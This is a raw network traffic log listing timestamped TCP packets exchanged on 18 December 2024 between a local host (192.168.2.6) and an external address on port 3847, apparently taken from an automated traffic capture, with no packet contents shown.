Dec 18, 2024 19:28:07.065859079 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.066117048 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.067018032 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.067152023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.067858934 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.068283081 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.068392038 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.068475008 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.069190979 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.069320917 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.069575071 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.070336103 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.070471048 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.070559025 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.071470976 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.071571112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.072592974 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.072638035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.072663069 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.072724104 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.073755026 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.073857069 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.073930025 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.074886084 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.074996948 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.075088024 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.076076031 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.076173067 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.076556921 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.077173948 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.077279091 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.077462912 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.078321934 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.078425884 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.078515053 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.079526901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.079591036 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.079638004 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.080682993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.080774069 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.080827951 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.081803083 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.081886053 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.081955910 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.082930088 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.082998991 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.083064079 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.084069967 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.084173918 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.084258080 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.085226059 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.085361958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.085414886 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.086385965 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.086544037 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.087503910 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.087558985 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.087604046 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.087677002 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.088808060 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.088892937 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.088968992 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.090239048 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.221774101 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.221826077 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.221869946 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.222091913 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.222124100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.222213030 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.222714901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.222760916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.222795963 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.224062920 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.224128008 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.224136114 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.225294113 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.225368977 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.225502014 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.226300955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.226392984 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.226433039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.227463961 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.227588892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.227617025 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.228543997 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.228580952 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.228657007 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.229676008 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.229824066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.229872942 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.230973005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.231122971 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.231147051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.232228041 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.232327938 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.232681036 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.233339071 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.233382940 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.233421087 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.234361887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.234565973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.234666109 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.235450983 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.235496998 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.235515118 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.236613989 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.236756086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.236859083 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.237732887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.237845898 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.237907887 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.238919020 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.238981009 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.239028931 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.240025043 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.240109921 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.240113020 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.241055012 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.241153002 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.241247892 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.242244959 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.242353916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.242397070 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.243379116 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.243469954 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.243532896 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.244641066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.244688988 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.244781971 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.245862007 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.245944023 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.245959044 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.247183084 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.247262001 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.247490883 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.248409986 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.248496056 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.248544931 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.249416113 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.249453068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.249577045 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.250274897 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.250340939 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.250384092 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.251353025 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.251434088 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.251463890 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.252502918 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.252583027 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.252604961 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.253691912 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.253726006 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.253777981 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.254929066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.255013943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.255034924 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.256237030 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.256311893 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.256328106 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.257488966 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.257549047 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.257622004 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.258543968 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.258620977 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.258680105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.259905100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.260009050 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.260051012 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.260797977 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.260919094 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.260924101 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.262000084 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.262109041 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.262115002 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.262968063 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.263016939 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.263022900 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.263941050 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.264018059 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.264065027 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.265094042 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.265295029 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.265320063 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.266412020 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.266447067 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.266469955 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.267478943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.267543077 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.267570019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.268546104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.268599987 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.268666029 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.269681931 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.269747972 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.269804001 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.270879984 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.270932913 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.271049976 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.271971941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.272162914 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.272212982 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.273166895 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.273322105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.273433924 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.274291039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.274343967 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.274360895 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.275562048 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.275615931 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.275708914 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.276722908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.276781082 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.276806116 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.278229952 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.278357029 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.278359890 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.278891087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.279042006 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.279122114 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.279983044 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.280039072 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.280087948 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.281152010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.281274080 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.281296015 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.414117098 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.414196968 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.414208889 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.414583921 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.414647102 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.414712906 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.415587902 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.415642023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.415683031 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.416465998 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.416532993 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.416578054 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.417387962 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.417423964 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.417460918 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.418365002 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.418471098 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.418545008 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.419341087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.419447899 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.419536114 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.420285940 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.420361996 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.420392036 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.421205997 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.421257973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.421314955 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.422200918 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.422291040 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.422333956 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.423165083 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.423238993 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.423279047 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.424058914 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.424134970 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.424211025 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.425019026 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.425163031 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.425172091 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.426012993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.426168919 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.426239967 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.427037001 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.427124977 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.427201033 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.427912951 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.428028107 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.428118944 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.428875923 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.429043055 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.429050922 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.429816008 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.429964066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.430056095 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.430811882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.430900097 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.430969954 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.431911945 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.431966066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.432007074 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.432820082 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.432873964 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.432888985 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.433706999 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.433779955 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.433784962 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.434653997 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.434830904 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.434854031 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.435602903 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.435729980 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.435753107 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.436533928 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.436645985 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.436661959 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.437536001 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.437644005 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.437705040 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.438520908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.438611984 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.438652992 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.439544916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.439580917 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.439615011 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.440431118 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.440522909 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.440675974 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.441499949 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.441622019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.441704035 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.442394018 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.442478895 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.442538977 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.443346024 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.443397045 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.443459988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.444221973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.444289923 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.444351912 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.445183992 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.445251942 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.445276022 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.446171045 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.446228981 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.446301937 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.447113991 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.447185040 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.447242975 CET	49859	3847	192.168.2.6	87.120.127.215
